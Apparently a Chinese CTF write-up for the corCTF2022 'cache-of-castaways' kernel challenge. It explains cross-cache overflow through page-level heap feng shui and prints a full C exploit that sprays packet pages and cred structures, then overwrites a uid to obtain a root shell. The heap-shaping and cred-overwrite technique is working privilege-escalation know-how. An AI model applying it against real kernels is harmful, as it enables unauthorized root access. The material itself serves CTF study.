【Page-level Heap Fengshui -- Cross-Cache Overflow】corCTF2022-cache-of-castaways
前言
什么叫 Cross Cache 呢?其实就是字面意思,我们知道内核中的大部分结构体都有自己的专属 slab 内存池。那现在我们可以想象一下这个场景,我们拥有一个特定 kmem-cache 的溢出漏洞,那么我们该如何利用呢?
程序分析
启动脚本不用看了,该开的保护都开了。而作者将 config 给了我们,所以我们可以看下部分编译选项。
# CONFIG_SLAB is not set
# CONFIG_SLAB_MERGE_DEFAULT is not set
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_MEMCG=y
CONFIG_MEMCG_KMEM=y
# CONFIG_DEBUG_CREDENTIALS is not set
驱动程序单独创建了一个 kmem-cache,而该 kmem-cache 是独立的,不会与其他 kmem-cache 合并,且大小为 512 字节。
ioctl 函数中有增加堆块和修改堆块的功能
修改堆块时,有白给了 6 字节溢出
漏洞利用
上面的堆块都是针对 castaway_cache 的 object,而该 cache 是与其他 cache 隔离的,所以从 slub 层面去考虑,我们会发现无法利用该漏洞。
而我们知道 slub 是从伙伴系统申请的内存,然后在划分成一个一个的 object 去使用。 而伙伴系统的内存是连续的,所以我们可以通过页级堆风水去形成如下内存布局(图片来自wiki):
然后就形成了 cross-cache overflow 啦。
这里 victim object 选择谁呢?6字节我们是可以修改 cred 的 uid 的,所以直接打 cred。
我们可以知道 CONFIG_DEBUG_CREDENTIALS 这个编译选项是没有设置的,所以可以直接溢出到 uid 的低两个字节,但是这是足够的。
其他的见 ctf-wiki 即可,也没啥好说的了,也不想浪费时间去写一些垃圾。
exp:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <time.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>#define PACKET_VERSION 10
#define PACKET_TX_RING 13#define PGV_PAGE_NUM 1000#define CRED_SPRAY_NUM 1066
#define VUL_OBJ_NUM 400
#define VUL_OBJ_SIZE 512int fd;
int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2];
char binsh_str[] = "/bin/sh";
char* shell_args[] = { binsh_str, NULL };
char buf[1];
struct timespec timer = {.tv_sec = 23535670,.tv_nsec = 0,
};struct node {size_t idx;size_t size;char* ptr;
};void add()
{ioctl(fd, 0xCAFEBABE, NULL);
}void edit(size_t idx, size_t size, char* ptr)
{struct node n = { .idx = idx, .size = size, .ptr = ptr };ioctl(fd, 0xF00DBABE, &n);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void line(char *msg)
{printf("\033[34m\033[1m\n[*] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct tpacket_req {unsigned int tp_block_size;unsigned int tp_block_nr;unsigned int tp_frame_size;unsigned int tp_frame_nr;
};enum tpacket_versions {TPACKET_V1,TPACKET_V2,TPACKET_V3,
};/* each allocation is (size * nr) bytes, aligned to PAGE_SIZE */
struct pgv_page_request {int idx;int cmd;unsigned int size;unsigned int nr;
};enum {CMD_ALLOC_PAGE,CMD_FREE_PAGE,CMD_EXIT,
};/* create an isolate namespace for pgv */
void unshare_setup(void)
{char edit[0x100];int tmp_fd;unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);tmp_fd = open("/proc/self/setgroups", O_WRONLY);write(tmp_fd, "deny", strlen("deny"));close(tmp_fd);tmp_fd = open("/proc/self/uid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getuid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);tmp_fd = open("/proc/self/gid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getgid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);
}/* create a socket and alloc pages, return the socket fd */
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{struct tpacket_req req;int socket_fd, version;int ret;socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);if (socket_fd < 0) {printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");ret = socket_fd;goto err_out;}version = TPACKET_V1;ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION,&version, sizeof(version));if (ret < 0) {printf("[x] failed at setsockopt(PACKET_VERSION)\n");goto err_setsockopt;}memset(&req, 0, sizeof(req));req.tp_block_size = size;req.tp_block_nr = nr;req.tp_frame_size = 0x1000;req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));if (ret < 0) {printf("[x] failed at setsockopt(PACKET_TX_RING)\n");goto err_setsockopt;}return socket_fd;err_setsockopt:close(socket_fd);
err_out:return ret;
}/* parent call it to send command of allocation to child */
int alloc_page(int idx, unsigned int size, unsigned int nr)
{struct pgv_page_request req = {.idx = idx,.cmd = CMD_ALLOC_PAGE,.size = size,.nr = nr,};int ret;write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));read(cmd_pipe_reply[0], &ret, sizeof(ret));return ret;
}/* parent call it to send command of freeing to child */
int free_page(int idx)
{struct pgv_page_request req = {.idx = idx,.cmd = CMD_FREE_PAGE,};int ret;write(cmd_pipe_req[1], &req, sizeof(req));read(cmd_pipe_reply[0], &ret, sizeof(ret));return ret;
}/* child thread's handler for commands from the pipe */
void spray_cmd_handler(void)
{struct pgv_page_request req;int socket_fd[PGV_PAGE_NUM];int ret;/* create an isolate namespace*/unshare_setup();/* handler request */do {read(cmd_pipe_req[0], &req, sizeof(req));if (req.cmd == CMD_ALLOC_PAGE) {ret = create_socket_and_alloc_pages(req.size, req.nr);socket_fd[req.idx] = ret;} else if (req.cmd == CMD_FREE_PAGE) {ret = close(socket_fd[req.idx]);} else {printf("[x] invalid request: %d\n", req.cmd);}write(cmd_pipe_reply[1], &ret, sizeof(ret));} while (req.cmd != CMD_EXIT);
}__attribute__((naked)) int __clone(int flags, int (*fn)(void*))
{/*res = clone(flags, 0, 0, 0, 0, 0)if (res == 0) fn();else return;*/__asm__ volatile("mov r15, rsi;""xor rsi, rsi;""xor rdx, rdx;""xor r8, r8;""xor r9, r9;""xor r10, r10;""mov rax, 56;""syscall;""cmp rax, 0;""je CHILD;""ret;""CHILD:""jmp r15;");
}int wait_for_root(void* args)
{/*read(check_root_pipe[0], buf, 1); <== 等待检查信号if (getuid() == 0) execve("/bin/sh", args, NULL);else return;*/__asm__ volatile("lea rax, [check_root_pipe];""xor rdi, rdi;""mov edi, dword ptr [rax];""mov rsi, buf;""mov rdx, 1;""xor rax, rax;""syscall;""mov rax, 102;""syscall;""cmp rax, 0;""jne failed;""lea rdi, [binsh_str];""lea rsi, [shell_args];""xor rdx, rdx;""mov rax, 59;""syscall;""failed:""lea rdi, [timer];""xor rsi, rsi;""mov rax, 35;""syscall;");return 0;
}int main(int argc, char** argv, char** env)
{char buffer[0x1000];bind_core(0);fd = open("/dev/castaway", O_RDWR);if (fd < 0) err_exit("open /dev/castaway");pipe(cmd_pipe_req);pipe(cmd_pipe_reply);pipe(check_root_pipe);if (!fork()){spray_cmd_handler();exit(EXIT_SUCCESS);}info("STEP.I Spray pgv pages");for (int i = 0; i < PGV_PAGE_NUM; i++)if (alloc_page(i, 0x1000, 1) < 0)err_exit("alloc_page");info("STEP.II Free for cred pages");for (int i = 1; i < PGV_PAGE_NUM; i += 2) free_page(i);info("STEP.III Spray cred to fetch pages");for (int i = 0; i < CRED_SPRAY_NUM; i++)if (__clone(CLONE_FILES|CLONE_FS|CLONE_VM|CLONE_SIGHAND, wait_for_root) < 0)err_exit("__clone");info("STEP.IV Free for vulnerable pages");for (int i = 0; i < PGV_PAGE_NUM; i += 2) free_page(i);info("STEP.V Triger overflow write 6 bytes");memset(buffer, '\0', 0x1000);*(uint32_t*)&buffer[VUL_OBJ_SIZE-6] = 1;for (int i = 0; i < VUL_OBJ_NUM; i++){add();edit(i, VUL_OBJ_SIZE, buffer);}info("CHILD PROCESS CHECK");write(check_root_pipe[1], buffer, CRED_SPRAY_NUM);sleep(23535670);return 0;
}
效果如下:
相关文章:

【Page-level Heap Fengshui -- Cross-Cache Overflow】corCTF2022-cache-of-castaways
前言 什么叫 Cross Cache 呢?其实就是字面意思,我们知道内核中的大部分结构体都有自己的专属 slab 内存池。那现在我们可以想象一下这个场景,我们拥有一个特定 kmem-cache 的溢出漏洞,那么我们该如何利用呢? 程序分析…...

vue-mixin
1.vue中,混入(mixin)是一种特殊的使用方式。一个混入对象可以包含任意的组件配置选项(data, props, components, watch,computed…)可以根据需求"封装"一些可复用的单元,并在使用时根据一定的策略合并到组件的选项中,使用时和组件自…...

力扣刷题 day43:10-13
1.完全平方数 给你一个整数 n ,返回 和为 n 的完全平方数的最少数量 。 完全平方数 是一个整数,其值等于另一个整数的平方;换句话说,其值等于一个整数自乘的积。例如,1、4、9 和 16 都是完全平方数,而 3 …...

3、在docker 容器中安装tomcat
1、在服务器上查找tomcat镜像,查看前5条 docker search tomcat --limit 5 2、拉取镜像到本地 拉取官方的tomcat到本地 docker pull tomcat:9.0.34-jdk8 3、查看本地镜像 docker images |grep tomcat 4、启动tomcat 服务 使用默认配置 docker ru…...

工业互联网系列1 - 智能制造中有哪些数据在传输
工业互联网以网络为基础,需要传输的数据种类多种多样,这些数据对于实时监控、生产优化、设备维护和决策支持等方面都至关重要。 以下是一些常见智能制造业中需要传输的数据类型: 传感器数据:制造设备上安装的传感器(如…...

centos7部署Nginx和RabbitMQ
文章目录 Nginx安装部署【简单】简介安装 RabbitMQ安装部署【简单】简介安装 Nginx安装部署【简单】 简介 Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。Nginx可以托管用户编写的WEB应用程序成为可访问的网页服务&am…...

Nacos集群搭建
Nacos集群搭建 1.集群结构图 Nacos集群图: 其中包含3个nacos节点,然后一个负载均衡器代理3个Nacos。这里负载均衡器可以使用nginx。 三个nacos节点的地址: 节点ipportnacos1192.168.150.18845nacos2192.168.150.18846nacos3192.168.150…...

运维小工具分享
1.windwos时间同步工具 通过NetTime软件同步 通过一个免费的同步时间软件来进行对时操作 软件官网链接:http://timesynctool.com/ 修改Windows主机时间,修改时间,时间差为10年、3年、4月份、24小时、2小时、1分钟;都可以及时与“…...

Eclipse插件安装版本不兼容问题解决方案——Papyrus插件为例
项目场景: Eclipse Papyrus安装后,没有新建Papyrus工程选项,也没有新建Papyrus Model的选项。 打开Papyrus Model会报错 问题描述 同样的,安装其他插件也是。可能某个插件之前安装是好用的,结果Eclipse的版本更新了,就再也安装不好用了 原因分析: 根本原因是因为包之…...

【Qt之QTimer】使用及技巧
简介 QTimer是Qt中的定时器类,用于执行定时操作,如在一段时间间隔后触发某个槽函数或执行特定的代码。它提供了灵活的定时功能,可以用于处理各种时间相关的任务。它是基于Qt的事件循环机制工作的。 主要函数说明 构造函数: QTim…...

零基础快速自学SQL,2天足矣。
此文是《10周入门数据分析》系列的第6篇。 想了解学习路线,可以先行阅读“ 学习计划 | 10周入门数据分析 ” 上一篇分享了数据库的基础知识,以及如何安装数据库,今天这篇分享数据库操作和SQL。 SQL全称是 Structured Query Language&#x…...

Meta开源数字水印Stable Signature,极大增强生成式AI安全
全球社交、科技巨头Meta(Facebook、Instagram等母公司)在官网宣布,开源数字水印产品Stable Signature,并公开论文。 据悉,Stable Signature是由Meta和INRIA(法国国家信息与自动化研究所)联合开…...

python实现分词器
在Python中实现分词有很多方法,具体取决于你的应用场景和数据。下面我会介绍一种常用的分词库——jieba。如果你的数据是英文,你也可以使用nltk库。 中文分词 使用jieba进行中文分词: 首先,你需要安装jieba库。如果还未安装&am…...

第五十二章 学习常用技能 - Global 映射
文章目录 第五十二章 学习常用技能定义数据库定义命名空间Global映射 第五十二章 学习常用技能 定义数据库 创建本地数据库: 登录管理门户。选择系统管理 > 配置 > 系统配置 > 本地数据库。选择创建新数据库以打开数据库向导。输入新数据库的以下信息&a…...

vue实现瀑布流
1、在 src 目录下创建 component文件夹,在文件夹中创建 vue文件。 2、在 Vue文件中写入以下内容 <div class"pubu"><div class"left"><div class"pubu-item" v-for"item in left" :key"item.id"…...

【虹科干货】Redis Enterprise 自动分层技术:大数据集高性能解决方案
越来越多的应用程序依赖于庞大的数据集合,而这些应用程序必须快速响应。借助自动分层,Redis Enterprise 7.2 帮助开发人员轻松创建超快的应用程序。何乐而不为? Redis将数据存储在内存中,因此应用程序能以最快的速度检索和处理数…...

代码随想录训练营二刷第五十四天 | 300.最长递增子序列 674. 最长连续递增序列 718. 最长重复子数组
代码随想录训练营二刷第五十四天 | 300.最长递增子序列 674. 最长连续递增序列 718. 最长重复子数组 一、300.最长递增子序列 题目链接:https://leetcode.cn/problems/longest-increasing-subsequence/ 思路:定义dp[i]表示从0到i的闭区间的最长子序列长…...

LeetCode 2562. 找出数组的串联值【数组,相向双指针】1259
本文属于「征服LeetCode」系列文章之一,这一系列正式开始于2021/08/12。由于LeetCode上部分题目有锁,本系列将至少持续到刷完所有无锁题之日为止;由于LeetCode还在不断地创建新题,本系列的终止日期可能是永远。在这一系列刷题文章…...

SpringBoot使用的时间与空间计量单位
SpringBoot支持JDK8提供的时间与空间计量单位 //时间单位DurationUnit(ChronoUnit.MINUTES)private Duration serverTimeOut;//存储空间单位DataSizeUnit(DataUnit.MEGABYTES)private DataSize dataSize; 在springboot中的具体使用: Component Data ConfigurationPr…...

【使用 TensorFlow 2】02/3 使用 Lambda 层创建自定义激活函数
一、说明 TensorFlow 2发布已经接近2年时间,不仅继承了Keras快速上手和易于使用的特性,同时还扩展了原有Keras所不支持的分布式训练的特性。3大设计原则:简化概念,海纳百川,构建生态.这是本系列的第三部分,…...

docker--使用docker login 报错解决方案
我们在本地使用 docker login 命令登录时报错,可以尝试一下先 docker logout 命令退出登录后,在使用 docker login命令进行登录操作; docker logout...

leetcode oj
150. 逆波兰表达式求值 - 力扣(LeetCode) 思路:定义一个名为 Solution 的类,并在其中定义了一个名为 evalRPN 的公共函数。这个函数接受一个由字符串组成的向量 tokens 作为输入,并返回一个整数。 在代码中࿰…...

黑马点评-05缓存穿透问题及其解决方案,缓存空字符串或使用布隆过滤器
缓存穿透问题(缓存空) 缓存穿透的解决方案 缓存穿透(数据穿透缓存直击数据库): 缓存穿透是指客户端请求访问缓存中和数据库中都不存在的数据,此时缓存永远不会生效并且用户的请求都会打到数据库 数据库能够承载的并发不如Redis这么高,如果大量的请求同时访问这种…...

Flink之窗口聚合算子
1.窗口聚合算子 在Flink中窗口聚合算子主要分类两类 滚动聚合算子(增量聚合)全窗口聚合算子(全量聚合) 1.1 滚动聚合算子 滚动聚合算子一次只处理一条数据,通过算子中的累加器对聚合结果进行更新,当窗口触发时再从累加器中取结果数据,一般使用算子如下: aggregatemaxmaxBy…...

K8S:Rancher管理 Kubernetes 集群
文章目录 一.Rancher 简介1.Rancher概念2.Rancher 和 k8s 的区别 二.Rancher 安装及配置1.安装 rancher2.登录 Rancher 平台3.Rancher 管理已存在的 k8s 集群4.Rancher 部署监控系统5.使用 Rancher 仪表盘管理 k8s 集群 三.拓展1.Rancher和kubesphere相比较2.K3S和K8S相比较 一…...

后台运行python程序并查看运行的python 进程
nohup python -u Job.py > log.log 2>&1 &说明: 末尾的“&”:表示后台运行程序 “nohup” :保证程序不被挂起 “python”:是执行python代码的命令 “-u”:表示不启用缓存,实时输出打印…...

树莓派部署.net core网站程序
1、发布你的项目 使用mobaxterm上传程序 回到mobaxterm,f进入目录输入: cd webpublish 运行程序:dotnet WebApplication1.dll 访问地址为:http://localhost:5000,尝访问如下: 已经出现 返回的json,证明是可以访问的…...

淘宝商品评论数据接口,淘宝商品评论API接口
淘宝商品评论数据接口可以通过淘宝开放平台API获取。 通过构建合理的请求URL,可以向淘宝服务器发起HTTP请求,获取商品评论数据。接口返回的数据一般为JSON格式,包含了商品的各种评价信息。获取到商品评论数据后,可以对其进行处理…...

455. 分发饼干
假设你是一位很棒的家长,想要给你的孩子们一些小饼干。但是,每个孩子最多只能给一块饼干。 对每个孩子 i,都有一个胃口值 g[i],这是能让孩子们满足胃口的饼干的最小尺寸;并且每块饼干 j,都有一个尺寸 s[j] …...

GEE:数据预处理的细节(处理顺序。比如, select() 和 filter() 要优先于 map())
作者:CSDN @ _养乐多_ 大家在数据预处理的时候,是不是随意进行处理,并没有考虑 Google Earth Engine(GEE)性能的问题?比如选择数据集的时候,先执行map函数,再按时间选择数据?不同的处理顺序会导致不同的计算成本。 因此,本文将探讨如何在 GEE 中筛选和选择数据集合…...